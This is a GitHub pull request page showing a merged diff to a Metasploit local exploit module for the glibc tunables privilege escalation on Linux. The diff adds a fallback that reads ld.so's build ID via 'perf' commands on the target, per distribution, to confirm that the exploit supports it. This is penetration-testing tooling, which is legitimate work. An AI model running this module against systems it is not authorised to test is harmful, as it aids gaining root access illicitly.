Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add a way to get the buildid via perf #18645

Merged
merged 1 commit into from Jan 23, 2024
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
31 changes: 31 additions & 0 deletions modules/exploits/linux/local/glibc_tunables_priv_esc.rb
Expand Up @@ -128,6 +128,8 @@ def check_ld_so_build_id
check_ld_so_build_id_file
elsif command_exists?('readelf')
check_ld_so_build_id_readelf
elsif command_exists?('perf')
check_ld_so_build_id_perf
else
print_warning('Unable to locate the commands to verify the BuildID for ld.so.')
end
Expand Down Expand Up @@ -191,6 +193,35 @@ def check_ld_so_build_id_file
end
end

def check_ld_so_build_id_perf
perf_cmd_output = ''

# This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not
# defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default.
sysinfo = get_sysinfo
case sysinfo[:distro]
when 'ubuntu'
if command_exists?('ldconfig')
perf_cmd_output = cmd_exec('perf buildid-list -i $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")')
end
when 'debian'
perf_cmd_output = cmd_exec('perf buildid-list -i "$(readlink -f "$(command -v ld.so)")"')
else
fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution')
end

if perf_cmd_output =~ /([0-9a-f]+)/
build_id = Regexp.last_match(1)
if BUILD_IDS.keys.include?(build_id)
print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.")
else
fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.")
end
else
print_warning('Unable to verify the BuildID for ld.so via `perf`, the exploit has a chance of being incompatible with this target.')
end
end

def exploit
fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root?

Expand Down